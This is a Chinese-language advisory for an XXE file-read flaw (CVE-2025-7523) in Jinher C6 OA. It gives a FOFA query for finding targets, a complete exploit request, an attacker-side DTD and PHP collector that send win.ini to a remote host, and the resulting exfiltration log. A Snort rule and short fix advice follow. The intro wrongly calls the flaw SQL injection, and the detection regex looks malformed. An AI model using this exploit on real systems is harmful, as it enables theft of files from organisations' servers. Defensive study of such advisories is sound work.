

金和C6 DelTemp.aspx XML实体注入致任意文件读取漏洞(CVE-2025-7523)

金和C6 DelTemp.aspx XML实体注入致任意文件读取漏洞(CVE-2025-7523)，攻击者可进行sql注入攻击获取数据库信息或者权限。

影响版本

金和C6

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: app="金和网络-金和OA"

POC/EXP:

```
POST /c6/Jhsoft.web.message/ToolBar/DelTemp.aspx/?style=2 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/2.0 (compatible; MSIE 3.01; windows 95
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///C:/windows/win.ini">
<!ENTITY % remote SYSTEM "http://vpsip/xxe.dtd">
%remote;
%all;
]><root>&send;</root>
```

```
get.php
<?php
$data=$_GET['file'];
$myfile = fopen("file.txt", "w+");
fwrite($myfile, $data);
fclose($myfile);
?>

xxe.dtd
<!ENTITY % all "<!ENTITY send SYSTEM 'http://vpsip/get.php?file=%file;'>">
```

```
- [0.0.0.0 port 80 (http://0.0.0.0:80/) ...  
- - [15/Jul/2025 22:28:43] "GET /xxe.dtd HTTP/1.1" 200 -  
- - [15/Jul/2025 22:28:43] "GET /get.php?files=%20for%2016-bit%20app%20support%0D%A%5Bfonts%5D%0D%A%5Bextensions%5D%0D%A%5Bmc%20extensions%5  
s%5D%0D%A%5BMail%5D%0D%AMAPI=1 HTTP/1.1" 200 -  
- - [15/Jul/2025 22:28:43] "GET /xxe.dtd HTTP/1.1" 200 -  
- - [15/Jul/2025 22:28:43] "GET /xxe.dtd HTTP/1.1" 200 -  
- - [15/Jul/2025 22:28:43] "GET /get.php?files=%20for%2016-bit%20app%20support%0D%A%5Bfonts%5D%0D%A%5Bextensions%5D%0D%A%5Bmc%20extensions%5  
es%5D%0D%A%5BMail%5D%0D%AMAPI=1 HTTP/1.1" 200 -  
- - [15/Jul/2025 22:28:43] "GET /get.php?files=%20for%2016-bit%20app%20support%0D%A%5Bfonts%5D%0D%A%5Bextensions%5D%0D%A%5Bmc%20extensions%5  
s%5D%0D%A%5BMail%5D%0D%AMAPI=1%0D%A%5BMC%20Extensions .BAK%5D%0D%A%3g2=MPEGVideo%0D%A%3gp=MPEGVideo%0D%A%3gp2=MPEGVideo%0D%A%3gp=MPEGVideo%0  
deo%0D%Aoadt=MPEGVideo%0D%Aoadts=MPEGVideo%0D%Amt2=MPEGVideo%0D%Amts=MPEGVideo%0D%Amt2v=MPEGVideo%0D%Amt4=MPEGVideo%0D%Amt4v=MPEGVideo%0D%A  
0D%Aomov=MPEGVideo%0D%Amp4=MPEGVideo%0D%Amp4v=MPEGVideo%0D%Amts=MPEGVideo%0D%Amts=MPEGVideo%0D%Amts=MPEGVideo HTTP/1.1" 200 -  
- - [15/Jul/2025 22:28:46] "GET /xxe.dtd HTTP/1.1" 200 -  
- - [15/Jul/2025 22:28:46] "GET /get.php?files=%20for%2016-bit%20app%20support%0D%A%5Bfonts%5D%0D%A%5Bextensions%5D%0D%A%5Bmc%20extensions%5  
s%5D%0D%A%5BMail%5D%0D%AMAPI=1%0D%A%5BMC%20Extensions .BAK%5D%0D%A%3g2=MPEGVideo%0D%A%3gp=MPEGVideo%0D%A%3gp2=MPEGVideo%0D%A%3gp=MPEGVideo%0  
deo%0D%Aoadt=MPEGVideo%0D%Aoadts=MPEGVideo%0D%Amt2=MPEGVideo%0D%Amts=MPEGVideo%0D%Amt2v=MPEGVideo%0D%Amt4=MPEGVideo%0D%Amt4v=MPEGVideo%0D%A  
0D%Aomov=MPEGVideo%0D%Amp4=MPEGVideo%0D%Amp4v=MPEGVideo%0D%Amts=MPEGVideo%0D%Amts=MPEGVideo%0D%Amts=MPEGVideo HTTP/1.1" 200 -  
- - [15/Jul/2025 22:28:53] "GET /xxe.dtd HTTP/1.1" 200 -  
- - [15/Jul/2025 22:28:53] "GET /get.php?files=%20for%2016-bit%20app%20support%0D%A%5Bfonts%5D%0D%A%5Bextensions%5D%0D%A%5Bmc%20extensions%5  
s%5D%0D%A%5BMail%5D%0D%AMAPI=1 HTTP/1.1" 200 -
```

```
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
  msg:"Jinher OA C6 - XXE File Read in DelTemp.aspx (CVE-2025-7523)";
  flow:to_server,established;
  content:"POST"; http_method;
  pcre:"/\c6\Jhsoft\.web\.message\ToolBar\DelTemp\.aspx[^\r\n]*\?style=[0-9]/i";
  content:"Content-Type: application/Xml"; http_header;
  pcre:"/<!ENTITY\s+%s+w\s+SYSTEM\s+['\"](file:\\\\|http:\\\\\/)/i";
  metadata:cve CVE-2025-7523;
  metadata:affected_product "金和协同管理平台C6";
  metadata:attack_type "XXE File Read";
  classtype:web-application-attack;
  sid:1000330;
```

```
rev:2;  
priority:1;  
)
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。